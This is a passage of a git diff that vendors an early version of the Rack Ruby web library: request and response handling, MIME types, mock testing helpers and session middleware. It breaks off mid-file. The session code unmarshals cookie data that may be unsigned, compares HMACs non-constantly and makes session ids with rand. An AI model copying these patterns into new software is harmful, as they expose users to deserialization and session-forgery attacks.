" + res.finish + end + + end +end + +if $0 == __FILE__ + require 'rack' + require 'rack/showexceptions' + Rack::Handler::WEBrick.run \ + Rack::ShowExceptions.new(Rack::Lint.new(Rack::Lobster.new)), + :Port => 9292 +end diff --git a/vendor/plugins/rack/lib/rack/methodoverride.rb b/vendor/plugins/rack/lib/rack/methodoverride.rb new file mode 100644 index 00000000..0eed29f4 --- /dev/null +++ b/vendor/plugins/rack/lib/rack/methodoverride.rb @@ -0,0 +1,27 @@ +module Rack + class MethodOverride + HTTP_METHODS = %w(GET HEAD PUT POST DELETE OPTIONS) + + METHOD_OVERRIDE_PARAM_KEY = "_method".freeze + HTTP_METHOD_OVERRIDE_HEADER = "HTTP_X_HTTP_METHOD_OVERRIDE".freeze + + def initialize(app) + @app = app + end + + def call(env) + if env["REQUEST_METHOD"] == "POST" + req = Request.new(env) + method = req.POST[METHOD_OVERRIDE_PARAM_KEY] || + env[HTTP_METHOD_OVERRIDE_HEADER] + method = method.to_s.upcase + if HTTP_METHODS.include?(method) + env["rack.methodoverride.original_method"] = env["REQUEST_METHOD"] + env["REQUEST_METHOD"] = method + end + end + + @app.call(env) + end + end +end diff --git a/vendor/plugins/rack/lib/rack/mime.rb b/vendor/plugins/rack/lib/rack/mime.rb new file mode 100644 index 00000000..2e325670 --- /dev/null +++ b/vendor/plugins/rack/lib/rack/mime.rb @@ -0,0 +1,204 @@ +module Rack + module Mime + # Returns String with mime type if found, otherwise use +fallback+. + # +ext+ should be filename extension in the '.ext' format that + # File.extname(file) returns. + # +fallback+ may be any object + # + # Also see the documentation for MIME_TYPES + # + # Usage: + # Rack::Utils.mime_type('.foo') + # + # This is a shortcut for: + # Rack::Utils::MIME_TYPES.fetch('.foo', 'application/octet-stream') + + def mime_type(ext, fallback='application/octet-stream') + MIME_TYPES.fetch(ext, fallback) + end + module_function :mime_type + + # List of most common mime-types, selected various sources + # according to their usefulness in a webserving scope for Ruby + # users. + # + # To amend this list with your local mime.types list you can use: + # + # require 'webrick/httputils' + # list = WEBrick::HTTPUtils.load_mime_types('/etc/mime.types') + # Rack::Utils::MIME_TYPES.merge!(list) + # + # To add the list mongrel provides, use: + # + # require 'mongrel/handlers' + # Rack::Utils::MIME_TYPES.merge!(Mongrel::DirHandler::MIME_TYPES) + + MIME_TYPES = { + ".3gp" => "video/3gpp", + ".a" => "application/octet-stream", + ".ai" => "application/postscript", + ".aif" => "audio/x-aiff", + ".aiff" => "audio/x-aiff", + ".asc" => "application/pgp-signature", + ".asf" => "video/x-ms-asf", + ".asm" => "text/x-asm", + ".asx" => "video/x-ms-asf", + ".atom" => "application/atom+xml", + ".au" => "audio/basic", + ".avi" => "video/x-msvideo", + ".bat" => "application/x-msdownload", + ".bin" => "application/octet-stream", + ".bmp" => "image/bmp", + ".bz2" => "application/x-bzip2", + ".c" => "text/x-c", + ".cab" => "application/vnd.ms-cab-compressed", + ".cc" => "text/x-c", + ".chm" => "application/vnd.ms-htmlhelp", + ".class" => "application/octet-stream", + ".com" => "application/x-msdownload", + ".conf" => "text/plain", + ".cpp" => "text/x-c", + ".crt" => "application/x-x509-ca-cert", + ".css" => "text/css", + ".csv" => "text/csv", + ".cxx" => "text/x-c", + ".deb" => "application/x-debian-package", + ".der" => "application/x-x509-ca-cert", + ".diff" => "text/x-diff", + ".djv" => "image/vnd.djvu", + ".djvu" => "image/vnd.djvu", + ".dll" => "application/x-msdownload", + ".dmg" => "application/octet-stream", + ".doc" => "application/msword", + ".dot" => "application/msword", + ".dtd" => "application/xml-dtd", + ".dvi" => "application/x-dvi", + ".ear" => "application/java-archive", + ".eml" => "message/rfc822", + ".eps" => "application/postscript", + ".exe" => "application/x-msdownload", + ".f" => "text/x-fortran", + ".f77" => "text/x-fortran", + ".f90" => "text/x-fortran", + ".flv" => "video/x-flv", + ".for" => "text/x-fortran", + ".gem" => "application/octet-stream", + ".gemspec" => "text/x-script.ruby", + ".gif" => "image/gif", + ".gz" => "application/x-gzip", + ".h" => "text/x-c", + ".hh" => "text/x-c", + ".htm" => "text/html", + ".html" => "text/html", + ".ico" => "image/vnd.microsoft.icon", + ".ics" => "text/calendar", + ".ifb" => "text/calendar", + ".iso" => "application/octet-stream", + ".jar" => "application/java-archive", + ".java" => "text/x-java-source", + ".jnlp" => "application/x-java-jnlp-file", + ".jpeg" => "image/jpeg", + ".jpg" => "image/jpeg", + ".js" => "application/javascript", + ".json" => "application/json", + ".log" => "text/plain", + ".m3u" => "audio/x-mpegurl", + ".m4v" => "video/mp4", + ".man" => "text/troff", + ".mathml" => "application/mathml+xml", + ".mbox" => "application/mbox", + ".mdoc" => "text/troff", + ".me" => "text/troff", + ".mid" => "audio/midi", + ".midi" => "audio/midi", + ".mime" => "message/rfc822", + ".mml" => "application/mathml+xml", + ".mng" => "video/x-mng", + ".mov" => "video/quicktime", + ".mp3" => "audio/mpeg", + ".mp4" => "video/mp4", + ".mp4v" => "video/mp4", + ".mpeg" => "video/mpeg", + ".mpg" => "video/mpeg", + ".ms" => "text/troff", + ".msi" => "application/x-msdownload", + ".odp" => "application/vnd.oasis.opendocument.presentation", + ".ods" => "application/vnd.oasis.opendocument.spreadsheet", + ".odt" => "application/vnd.oasis.opendocument.text", + ".ogg" => "application/ogg", + ".p" => "text/x-pascal", + ".pas" => "text/x-pascal", + ".pbm" => "image/x-portable-bitmap", + ".pdf" => "application/pdf", + ".pem" => "application/x-x509-ca-cert", + ".pgm" => "image/x-portable-graymap", + ".pgp" => "application/pgp-encrypted", + ".pkg" => "application/octet-stream", + ".pl" => "text/x-script.perl", + ".pm" => "text/x-script.perl-module", + ".png" => "image/png", + ".pnm" => "image/x-portable-anymap", + ".ppm" => "image/x-portable-pixmap", + ".pps" => "application/vnd.ms-powerpoint", + ".ppt" => "application/vnd.ms-powerpoint", + ".ps" => "application/postscript", + ".psd" => "image/vnd.adobe.photoshop", + ".py" => "text/x-script.python", + ".qt" => "video/quicktime", + ".ra" => "audio/x-pn-realaudio", + ".rake" => "text/x-script.ruby", + ".ram" => "audio/x-pn-realaudio", + ".rar" => "application/x-rar-compressed", + ".rb" => "text/x-script.ruby", + ".rdf" => "application/rdf+xml", + ".roff" => "text/troff", + ".rpm" => "application/x-redhat-package-manager", + ".rss" => "application/rss+xml", + ".rtf" => "application/rtf", + ".ru" => "text/x-script.ruby", + ".s" => "text/x-asm", + ".sgm" => "text/sgml", + ".sgml" => "text/sgml", + ".sh" => "application/x-sh", + ".sig" => "application/pgp-signature", + ".snd" => "audio/basic", + ".so" => "application/octet-stream", + ".svg" => "image/svg+xml", + ".svgz" => "image/svg+xml", + ".swf" => "application/x-shockwave-flash", + ".t" => "text/troff", + ".tar" => "application/x-tar", + ".tbz" => "application/x-bzip-compressed-tar", + ".tcl" => "application/x-tcl", + ".tex" => "application/x-tex", + ".texi" => "application/x-texinfo", + ".texinfo" => "application/x-texinfo", + ".text" => "text/plain", + ".tif" => "image/tiff", + ".tiff" => "image/tiff", + ".torrent" => "application/x-bittorrent", + ".tr" => "text/troff", + ".txt" => "text/plain", + ".vcf" => "text/x-vcard", + ".vcs" => "text/x-vcalendar", + ".vrml" => "model/vrml", + ".war" => "application/java-archive", + ".wav" => "audio/x-wav", + ".wma" => "audio/x-ms-wma", + ".wmv" => "video/x-ms-wmv", + ".wmx" => "video/x-ms-wmx", + ".wrl" => "model/vrml", + ".wsdl" => "application/wsdl+xml", + ".xbm" => "image/x-xbitmap", + ".xhtml" => "application/xhtml+xml", + ".xls" => "application/vnd.ms-excel", + ".xml" => "application/xml", + ".xpm" => "image/x-xpixmap", + ".xsl" => "application/xml", + ".xslt" => "application/xslt+xml", + ".yaml" => "text/yaml", + ".yml" => "text/yaml", + ".zip" => "application/zip", + } + end +end diff --git a/vendor/plugins/rack/lib/rack/mock.rb b/vendor/plugins/rack/lib/rack/mock.rb new file mode 100644 index 00000000..f43b9af3 --- /dev/null +++ b/vendor/plugins/rack/lib/rack/mock.rb @@ -0,0 +1,160 @@ +require 'uri' +require 'stringio' +require 'rack/lint' +require 'rack/utils' +require 'rack/response' + +module Rack + # Rack::MockRequest helps testing your Rack application without + # actually using HTTP. + # + # After performing a request on a URL with get/post/put/delete, it + # returns a MockResponse with useful helper methods for effective + # testing. + # + # You can pass a hash with additional configuration to the + # get/post/put/delete. + # :input:: A String or IO-like to be used as rack.input. + # :fatal:: Raise a FatalWarning if the app writes to rack.errors. + # :lint:: If true, wrap the application in a Rack::Lint. + + class MockRequest + class FatalWarning < RuntimeError + end + + class FatalWarner + def puts(warning) + raise FatalWarning, warning + end + + def write(warning) + raise FatalWarning, warning + end + + def flush + end + + def string + "" + end + end + + DEFAULT_ENV = { + "rack.version" => [0,1], + "rack.input" => StringIO.new, + "rack.errors" => StringIO.new, + "rack.multithread" => true, + "rack.multiprocess" => true, + "rack.run_once" => false, + } + + def initialize(app) + @app = app + end + + def get(uri, opts={}) request("GET", uri, opts) end + def post(uri, opts={}) request("POST", uri, opts) end + def put(uri, opts={}) request("PUT", uri, opts) end + def delete(uri, opts={}) request("DELETE", uri, opts) end + + def request(method="GET", uri="", opts={}) + env = self.class.env_for(uri, opts.merge(:method => method)) + + if opts[:lint] + app = Rack::Lint.new(@app) + else + app = @app + end + + errors = env["rack.errors"] + MockResponse.new(*(app.call(env) + [errors])) + end + + # Return the Rack environment used for a request to +uri+. + def self.env_for(uri="", opts={}) + uri = URI(uri) + env = DEFAULT_ENV.dup + + env["REQUEST_METHOD"] = opts[:method] || "GET" + env["SERVER_NAME"] = uri.host || "example.org" + env["SERVER_PORT"] = uri.port ? uri.port.to_s : "80" + env["QUERY_STRING"] = uri.query.to_s + env["PATH_INFO"] = (!uri.path || uri.path.empty?) ? "/" : uri.path + env["rack.url_scheme"] = uri.scheme || "http" + + env["SCRIPT_NAME"] = opts[:script_name] || "" + + if opts[:fatal] + env["rack.errors"] = FatalWarner.new + else + env["rack.errors"] = StringIO.new + end + + opts[:input] ||= "" + if String === opts[:input] + env["rack.input"] = StringIO.new(opts[:input]) + else + env["rack.input"] = opts[:input] + end + + opts.each { |field, value| + env[field] = value if String === field + } + + env + end + end + + # Rack::MockResponse provides useful helpers for testing your apps. + # Usually, you don't create the MockResponse on your own, but use + # MockRequest. + + class MockResponse + def initialize(status, headers, body, errors=StringIO.new("")) + @status = status.to_i + + @original_headers = headers + @headers = Rack::Utils::HeaderHash.new + headers.each { |field, values| + values.each { |value| + @headers[field] = value + } + @headers[field] = "" if values.empty? + } + + @body = "" + body.each { |part| @body << part } + + @errors = errors.string + end + + # Status + attr_reader :status + + # Headers + attr_reader :headers, :original_headers + + def [](field) + headers[field] + end + + + # Body + attr_reader :body + + def =~(other) + @body =~ other + end + + def match(other) + @body.match other + end + + + # Errors + attr_accessor :errors + + + include Response::Helpers + end +end diff --git a/vendor/plugins/rack/lib/rack/recursive.rb b/vendor/plugins/rack/lib/rack/recursive.rb new file mode 100644 index 00000000..bf8b9659 --- /dev/null +++ b/vendor/plugins/rack/lib/rack/recursive.rb @@ -0,0 +1,57 @@ +require 'uri' + +module Rack + # Rack::ForwardRequest gets caught by Rack::Recursive and redirects + # the current request to the app at +url+. + # + # raise ForwardRequest.new("/not-found") + # + + class ForwardRequest < Exception + attr_reader :url, :env + + def initialize(url, env={}) + @url = URI(url) + @env = env + + @env["PATH_INFO"] = @url.path + @env["QUERY_STRING"] = @url.query if @url.query + @env["HTTP_HOST"] = @url.host if @url.host + @env["HTTP_PORT"] = @url.port if @url.port + @env["rack.url_scheme"] = @url.scheme if @url.scheme + + super "forwarding to #{url}" + end + end + + # Rack::Recursive allows applications called down the chain to + # include data from other applications (by using + # rack['rack.recursive.include'][...] or raise a + # ForwardRequest to redirect internally. + + class Recursive + def initialize(app) + @app = app + end + + def call(env) + @script_name = env["SCRIPT_NAME"] + @app.call(env.merge('rack.recursive.include' => method(:include))) + rescue ForwardRequest => req + call(env.merge(req.env)) + end + + def include(env, path) + unless path.index(@script_name) == 0 && (path[@script_name.size] == ?/ || + path[@script_name.size].nil?) + raise ArgumentError, "can only include below #{@script_name}, not #{path}" + end + + env = env.merge("PATH_INFO" => path, "SCRIPT_NAME" => @script_name, + "REQUEST_METHOD" => "GET", + "CONTENT_LENGTH" => "0", "CONTENT_TYPE" => "", + "rack.input" => StringIO.new("")) + @app.call(env) + end + end +end diff --git a/vendor/plugins/rack/lib/rack/reloader.rb b/vendor/plugins/rack/lib/rack/reloader.rb new file mode 100644 index 00000000..25ca2f9e --- /dev/null +++ b/vendor/plugins/rack/lib/rack/reloader.rb @@ -0,0 +1,64 @@ +require 'thread' + +module Rack + # Rack::Reloader checks on every request, but at most every +secs+ + # seconds, if a file loaded changed, and reloads it, logging to + # rack.errors. + # + # It is recommended you use ShowExceptions to catch SyntaxErrors etc. + + class Reloader + def initialize(app, secs=10) + @app = app + @secs = secs # reload every @secs seconds max + @last = Time.now + end + + def call(env) + if Time.now > @last + @secs + Thread.exclusive { + reload!(env['rack.errors']) + @last = Time.now + } + end + + @app.call(env) + end + + def reload!(stderr=STDERR) + need_reload = $LOADED_FEATURES.find_all { |loaded| + begin + if loaded =~ /\A[.\/]/ # absolute filename or 1.9 + abs = loaded + else + abs = $LOAD_PATH.map { |path| ::File.join(path, loaded) }. + find { |file| ::File.exist? file } + end + + if abs + ::File.mtime(abs) > @last - @secs rescue false + else + false + end + end + } + + need_reload.each { |l| + $LOADED_FEATURES.delete l + } + + need_reload.each { |to_load| + begin + if require to_load + stderr.puts "#{self.class}: reloaded `#{to_load}'" + end + rescue LoadError, SyntaxError => e + raise e # Possibly ShowExceptions + end + } + + stderr.flush + need_reload + end + end +end diff --git a/vendor/plugins/rack/lib/rack/request.rb b/vendor/plugins/rack/lib/rack/request.rb new file mode 100644 index 00000000..08021d0c --- /dev/null +++ b/vendor/plugins/rack/lib/rack/request.rb @@ -0,0 +1,218 @@ +require 'rack/utils' + +module Rack + # Rack::Request provides a convenient interface to a Rack + # environment. It is stateless, the environment +env+ passed to the + # constructor will be directly modified. + # + # req = Rack::Request.new(env) + # req.post? + # req.params["data"] + + class Request + # The environment of the request. + attr_reader :env + + def initialize(env) + @env = env + end + + def body; @env["rack.input"] end + def scheme; @env["rack.url_scheme"] end + def script_name; @env["SCRIPT_NAME"].to_s end + def path_info; @env["PATH_INFO"].to_s end + def port; @env["SERVER_PORT"].to_i end + def request_method; @env["REQUEST_METHOD"] end + def query_string; @env["QUERY_STRING"].to_s end + def content_length; @env['CONTENT_LENGTH'] end + def content_type; @env['CONTENT_TYPE'] end + + # The media type (type/subtype) portion of the CONTENT_TYPE header + # without any media type parameters. e.g., when CONTENT_TYPE is + # "text/plain;charset=utf-8", the media-type is "text/plain". + # + # For more information on the use of media types in HTTP, see: + # http://www.w3.org/Protocols/rfc2616/rfc2616-sec3.html#sec3.7 + def media_type + content_type && content_type.split(/\s*[;,]\s*/, 2)[0].downcase + end + + # The media type parameters provided in CONTENT_TYPE as a Hash, or + # an empty Hash if no CONTENT_TYPE or media-type parameters were + # provided. e.g., when the CONTENT_TYPE is "text/plain;charset=utf-8", + # this method responds with the following Hash: + # { 'charset' => 'utf-8' } + def media_type_params + return {} if content_type.nil? + content_type.split(/\s*[;,]\s*/)[1..-1]. + collect { |s| s.split('=', 2) }. + inject({}) { |hash,(k,v)| hash[k.downcase] = v ; hash } + end + + # The character set of the request body if a "charset" media type + # parameter was given, or nil if no "charset" was specified. Note + # that, per RFC2616, text/* media types that specify no explicit + # charset are to be considered ISO-8859-1. + def content_charset + media_type_params['charset'] + end + + def host + # Remove port number. + (@env["HTTP_HOST"] || @env["SERVER_NAME"]).gsub(/:\d+\z/, '') + end + + def script_name=(s); @env["SCRIPT_NAME"] = s.to_s end + def path_info=(s); @env["PATH_INFO"] = s.to_s end + + def get?; request_method == "GET" end + def post?; request_method == "POST" end + def put?; request_method == "PUT" end + def delete?; request_method == "DELETE" end + def head?; request_method == "HEAD" end + + # The set of form-data media-types. Requests that do not indicate + # one of the media types presents in this list will not be eligible + # for form-data / param parsing. + FORM_DATA_MEDIA_TYPES = [ + nil, + 'application/x-www-form-urlencoded', + 'multipart/form-data' + ] + + # Determine whether the request body contains form-data by checking + # the request media_type against registered form-data media-types: + # "application/x-www-form-urlencoded" and "multipart/form-data". The + # list of form-data media types can be modified through the + # +FORM_DATA_MEDIA_TYPES+ array. + def form_data? + FORM_DATA_MEDIA_TYPES.include?(media_type) + end + + # Returns the data recieved in the query string. + def GET + if @env["rack.request.query_string"] == query_string + @env["rack.request.query_hash"] + else + @env["rack.request.query_string"] = query_string + @env["rack.request.query_hash"] = + Utils.parse_query(query_string) + end + end + + # Returns the data recieved in the request body. + # + # This method support both application/x-www-form-urlencoded and + # multipart/form-data. + def POST + if @env["rack.request.form_input"].eql? @env["rack.input"] + @env["rack.request.form_hash"] + elsif form_data? + @env["rack.request.form_input"] = @env["rack.input"] + unless @env["rack.request.form_hash"] = + Utils::Multipart.parse_multipart(env) + @env["rack.request.form_vars"] = @env["rack.input"].read + @env["rack.request.form_hash"] = Utils.parse_query(@env["rack.request.form_vars"]) + @env["rack.input"].rewind if @env["rack.input"].respond_to?(:rewind) + end + @env["rack.request.form_hash"] + else + {} + end + end + + # The union of GET and POST data. + def params + self.put? ? self.GET : self.GET.update(self.POST) + rescue EOFError => e + self.GET + end + + # shortcut for request.params[key] + def [](key) + params[key.to_s] + end + + # shortcut for request.params[key] = value + def []=(key, value) + params[key.to_s] = value + end + + # like Hash#values_at + def values_at(*keys) + keys.map{|key| params[key] } + end + + # the referer of the client or '/' + def referer + @env['HTTP_REFERER'] || '/' + end + alias referrer referer + + + def cookies + return {} unless @env["HTTP_COOKIE"] + + if @env["rack.request.cookie_string"] == @env["HTTP_COOKIE"] + @env["rack.request.cookie_hash"] + else + @env["rack.request.cookie_string"] = @env["HTTP_COOKIE"] + # According to RFC 2109: + # If multiple cookies satisfy the criteria above, they are ordered in + # the Cookie header such that those with more specific Path attributes + # precede those with less specific. Ordering with respect to other + # attributes (e.g., Domain) is unspecified. + @env["rack.request.cookie_hash"] = + Utils.parse_query(@env["rack.request.cookie_string"], ';,').inject({}) {|h,(k,v)| + h[k] = Array === v ? v.first : v + h + } + end + end + + def xhr? + @env["HTTP_X_REQUESTED_WITH"] == "XMLHttpRequest" + end + + # Tries to return a remake of the original request URL as a string. + def url + url = scheme + "://" + url << host + + if scheme == "https" && port != 443 || + scheme == "http" && port != 80 + url << ":#{port}" + end + + url << fullpath + + url + end + + def fullpath + path = script_name + path_info + path << "?" << query_string unless query_string.empty? + path + end + + def accept_encoding + @env["HTTP_ACCEPT_ENCODING"].to_s.split(/,\s*/).map do |part| + m = /^([^\s,]+?)(?:;\s*q=(\d+(?:\.\d+)?))?$/.match(part) # From WEBrick + + if m + [m[1], (m[2] || 1.0).to_f] + else + raise "Invalid value for Accept-Encoding: #{part.inspect}" + end + end + end + + def ip + if addr = @env['HTTP_X_FORWARDED_FOR'] + addr.split(',').last.strip + else + @env['REMOTE_ADDR'] + end + end + end +end diff --git a/vendor/plugins/rack/lib/rack/response.rb b/vendor/plugins/rack/lib/rack/response.rb new file mode 100644 index 00000000..97deb6ef --- /dev/null +++ b/vendor/plugins/rack/lib/rack/response.rb @@ -0,0 +1,171 @@ +require 'rack/request' +require 'rack/utils' + +module Rack + # Rack::Response provides a convenient interface to create a Rack + # response. + # + # It allows setting of headers and cookies, and provides useful + # defaults (a OK response containing HTML). + # + # You can use Response#write to iteratively generate your response, + # but note that this is buffered by Rack::Response until you call + # +finish+. +finish+ however can take a block inside which calls to + # +write+ are syncronous with the Rack response. + # + # Your application's +call+ should end returning Response#finish. + + class Response + def initialize(body=[], status=200, header={}, &block) + @status = status + @header = Utils::HeaderHash.new({"Content-Type" => "text/html"}. + merge(header)) + + @writer = lambda { |x| @body << x } + @block = nil + @length = 0 + + @body = [] + + if body.respond_to? :to_str + write body.to_str + elsif body.respond_to?(:each) + body.each { |part| + write part.to_s + } + else + raise TypeError, "stringable or iterable required" + end + + yield self if block_given? + end + + attr_reader :header + attr_accessor :status, :body + + def [](key) + header[key] + end + + def []=(key, value) + header[key] = value + end + + def set_cookie(key, value) + case value + when Hash + domain = "; domain=" + value[:domain] if value[:domain] + path = "; path=" + value[:path] if value[:path] + # According to RFC 2109, we need dashes here. + # N.B.: cgi.rb uses spaces... + expires = "; expires=" + value[:expires].clone.gmtime. + strftime("%a, %d-%b-%Y %H:%M:%S GMT") if value[:expires] + secure = "; secure" if value[:secure] + value = value[:value] + end + value = [value] unless Array === value + cookie = Utils.escape(key) + "=" + + value.map { |v| Utils.escape v }.join("&") + + "#{domain}#{path}#{expires}#{secure}" + + case self["Set-Cookie"] + when Array + self["Set-Cookie"] << cookie + when String + self["Set-Cookie"] = [self["Set-Cookie"], cookie] + when nil + self["Set-Cookie"] = cookie + end + end + + def delete_cookie(key, value={}) + unless Array === self["Set-Cookie"] + self["Set-Cookie"] = [self["Set-Cookie"]].compact + end + + self["Set-Cookie"].reject! { |cookie| + cookie =~ /\A#{Utils.escape(key)}=/ + } + + set_cookie(key, + {:value => '', :path => nil, :domain => nil, + :expires => Time.at(0) }.merge(value)) + end + + + def finish(&block) + @block = block + + if [204, 304].include?(status.to_i) + header.delete "Content-Type" + [status.to_i, header.to_hash, []] + else + header["Content-Length"] ||= @length.to_s + [status.to_i, header.to_hash, self] + end + end + alias to_a finish # For *response + + def each(&callback) + @body.each(&callback) + @writer = callback + @block.call(self) if @block + end + + def write(str) + s = str.to_s + @length += s.size + @writer.call s + str + end + + def close + body.close if body.respond_to?(:close) + end + + def empty? + @block == nil && @body.empty? + end + + alias headers header + + module Helpers + def invalid?; @status < 100 || @status >= 600; end + + def informational?; @status >= 100 && @status < 200; end + def successful?; @status >= 200 && @status < 300; end + def redirection?; @status >= 300 && @status < 400; end + def client_error?; @status >= 400 && @status < 500; end + def server_error?; @status >= 500 && @status < 600; end + + def ok?; @status == 200; end + def forbidden?; @status == 403; end + def not_found?; @status == 404; end + + def redirect?; [301, 302, 303, 307].include? @status; end + def empty?; [201, 204, 304].include? @status; end + + # Headers + attr_reader :headers, :original_headers + + def include?(header) + !!headers[header] + end + + def content_type + headers["Content-Type"] + end + + def content_length + cl = headers["Content-Length"] + cl ? cl.to_i : cl + end + + def location + headers["Location"] + end + end + + include Helpers + end +end diff --git a/vendor/plugins/rack/lib/rack/session/abstract/id.rb b/vendor/plugins/rack/lib/rack/session/abstract/id.rb new file mode 100644 index 00000000..c521ba16 --- /dev/null +++ b/vendor/plugins/rack/lib/rack/session/abstract/id.rb @@ -0,0 +1,153 @@ +# AUTHOR: blink ; blink#ruby-lang@irc.freenode.net +# bugrep: Andreas Zehnder + +require 'rack/utils' +require 'time' + +module Rack + module Session + module Abstract + # ID sets up a basic framework for implementing an id based sessioning + # service. Cookies sent to the client for maintaining sessions will only + # contain an id reference. Only #get_session and #set_session should + # need to be overwritten. + # + # All parameters are optional. + # * :key determines the name of the cookie, by default it is + # 'rack.session' + # * :domain and :path set the related cookie values, by default + # domain is nil, and the path is '/'. + # * :expire_after is the number of seconds in which the session + # cookie will expire. By default it is set not to provide any + # expiry time. + class ID + attr_reader :key + DEFAULT_OPTIONS = { + :key => 'rack.session', + :path => '/', + :domain => nil, + :expire_after => nil, + :secure => false, + :httponly => true, + :sidbits => 128 + } + + def initialize(app, options={}) + @default_options = self.class::DEFAULT_OPTIONS.merge(options) + @key = @default_options[:key] + @default_context = context app + end + + def call(env) + @default_context.call(env) + end + + def context(app) + Rack::Utils::Context.new self, app do |env| + load_session env + response = app.call(env) + commit_session env, response + response + end + end + + private + + # Generate a new session id using Ruby #rand. The size of the + # session id is controlled by the :sidbits option. + # Monkey patch this to use custom methods for session id generation. + def generate_sid + "%0#{@default_options[:sidbits] / 4}x" % + rand(2**@default_options[:sidbits] - 1) + end + + # Extracts the session id from provided cookies and passes it and the + # environment to #get_session. It then sets the resulting session into + # 'rack.session', and places options and session metadata into + # 'rack.session.options'. + def load_session(env) + sid = (env['HTTP_COOKIE']||'')[/#{@key}=([^,;]+)/,1] + sid, session = get_session(env, sid) + unless session.is_a?(Hash) + puts 'Session: '+sid.inspect+"\n"+session.inspect if $DEBUG + raise TypeError, 'Session not a Hash' + end + + options = @default_options. + merge({ :id => sid, :by => self, :at => Time.now }) + + env['rack.session'] = session + env['rack.session.options'] = options + + return true + end + + # Acquires the session from the environment and the session id from + # the session options and passes them to #set_session. It then + # proceeds to set a cookie up in the response with the session's id. + def commit_session(env, response) + unless response.is_a?(Array) + puts 'Response: '+response.inspect if $DEBUG + raise ArgumentError, 'Response is not an array.' + end + + options = env['rack.session.options'] + unless options.is_a?(Hash) + puts 'Options: '+options.inspect if $DEBUG + raise TypeError, 'Options not a Hash' + end + + sid, time, z = options.values_at(:id, :at, :by) + unless self == z + warn "#{self} not managing this session." + return + end + + unless env['rack.session'].is_a?(Hash) + warn 'Session: '+sid.inspect+"\n"+session.inspect if $DEBUG + raise TypeError, 'Session not a Hash' + end + + unless set_session(env, sid) + warn "Session not saved." if $DEBUG + warn "#{env['rack.session'].inspect} has been lost."if $DEBUG + return false + end + + cookie = Utils.escape(@key)+'='+Utils.escape(sid) + cookie<< "; domain=#{options[:domain]}" if options[:domain] + cookie<< "; path=#{options[:path]}" if options[:path] + if options[:expire_after] + expiry = time + options[:expire_after] + cookie<< "; expires=#{expiry.httpdate}" + end + cookie<< "; Secure" if options[:secure] + cookie<< "; HttpOnly" if options[:httponly] + + case a = (h = response[1])['Set-Cookie'] + when Array then a << cookie + when String then h['Set-Cookie'] = [a, cookie] + when nil then h['Set-Cookie'] = cookie + end + + return true + end + + # Should return [session_id, session]. All thread safety and session + # retrival proceedures should occur here. + # If nil is provided as the session id, generation of a new valid id + # should occur within. + def get_session(env, sid) + raise '#get_session needs to be implemented.' + end + + # All thread safety and session storage proceedures should occur here. + # Should return true or false dependant on whether or not the session + # was saved or not. + def set_session(env, sid) + raise '#set_session needs to be implemented.' + end + end + end + end +end diff --git a/vendor/plugins/rack/lib/rack/session/cookie.rb b/vendor/plugins/rack/lib/rack/session/cookie.rb new file mode 100644 index 00000000..3dba358c --- /dev/null +++ b/vendor/plugins/rack/lib/rack/session/cookie.rb @@ -0,0 +1,89 @@ +require 'openssl' + +module Rack + + module Session + + # Rack::Session::Cookie provides simple cookie based session management. + # The session is a Ruby Hash stored as base64 encoded marshalled data + # set to :key (default: rack.session). + # When the secret key is set, cookie data is checked for data integrity. + # + # Example: + # + # use Rack::Session::Cookie, :key => 'rack.session', + # :domain => 'foo.com', + # :path => '/', + # :expire_after => 2592000, + # :secret => 'change_me' + # + # All parameters are optional. + + class Cookie + + def initialize(app, options={}) + @app = app + @key = options[:key] || "rack.session" + @secret = options[:secret] + @default_options = {:domain => nil, + :path => "/", + :expire_after => nil}.merge(options) + end + + def call(env) + load_session(env) + status, headers, body = @app.call(env) + commit_session(env, status, headers, body) + end + + private + + def load_session(env) + request = Rack::Request.new(env) + session_data = request.cookies[@key] + + if @secret && session_data + session_data, digest = session_data.split("--") + session_data = nil unless digest == generate_hmac(session_data) + end + + begin + session_data = session_data.unpack("m*").first + session_data = Marshal.load(session_data) + env["rack.session"] = session_data + rescue + env["rack.session"] = Hash.new + end + + env["rack.session.options"] = @default_options.dup + end + + def commit_session(env, status, headers, body) + session_data = Marshal.dump(env["rack.session"]) + session_data = [session_data].pack("m*") + + if @secret + session_data = "#{session_data}--#{generate_hmac(session_data)}" + end + + if session_data.size > (4096 - @key.size) + env["rack.errors"].puts("Warning! Rack::Session::Cookie data size exceeds 4K. Content dropped.") + [status, headers, body] + else + options = env["rack.session.options"] + cookie = Hash.new + cookie[:value] = session_data + cookie[:expires] = Time.now + options[:expire_after] unless options[:expire_after].nil? + response = Rack::Response.new(body, status, headers) + response.set_cookie(@key, cookie.merge(options)) + response.to_a + end + end + + def generate_hmac(data) + OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, @secret, data) + end + + end + end +end diff --git a/vendor/plugins/rack/lib/rack/session/memcache.rb b/vendor/plugins/rack/lib/rack/session/memcache.rb new file mode 100644 index 00000000..d19af511 --- /dev/null +++ b/vendor/plugins/rack/lib/rack/session/memcache.rb @@ -0,0 +1,97 @@ +# AUTHOR: blink ; blink#ruby-lang@irc.freenode.net + +require 'rack/session/abstract/id' +require 'memcache' + +module Rack + module Session + # Rack::Session::Memcache provides simple cookie based session management. + # Session data is stored in memcached. The corresponding session key is + # maintained in the cookie. + # You may treat Session::Memcache as you would Session::Pool with the + # following caveats. + # + # * Setting :expire_after to 0 would note to the Memcache server to hang + # onto the session data until it would drop it according to it's own + # specifications. However, the cookie sent to the client would expire + # immediately. + # + # Note that memcache does drop data before it may be listed to expire. For + # a full description of behaviour, please see memcache's documentation. + + class Memcache < Abstract::ID + attr_reader :mutex, :pool + DEFAULT_OPTIONS = Abstract::ID::DEFAULT_OPTIONS.merge({ + :namespace => 'rack:session', + :memcache_server => 'localhost:11211' + }) + + def initialize(app, options={}) + super + @pool = MemCache.new @default_options[:memcache_server], @default_options + unless @pool.servers.any?{|s|s.alive?} + raise "#{self} unable to find server during initialization." + end + @mutex = Mutex.new + end + + private + + def get_session(env, sid) + session = sid && @pool.get(sid) + unless session and session.is_a?(Hash) + session = {} + lc = 0 + @mutex.synchronize do + begin + raise RuntimeError, 'Unique id finding looping excessively' if (lc+=1) > 1000 + sid = generate_sid + ret = @pool.add(sid, session) + end until /^STORED/ =~ ret + end + end + class << session + @deleted = [] + def delete key + (@deleted||=[]) << key + super + end + end + [sid, session] + rescue MemCache::MemCacheError, Errno::ECONNREFUSED # MemCache server cannot be contacted + warn "#{self} is unable to find server." + warn $!.inspect + return [ nil, {} ] + end + + def set_session(env, sid) + session = 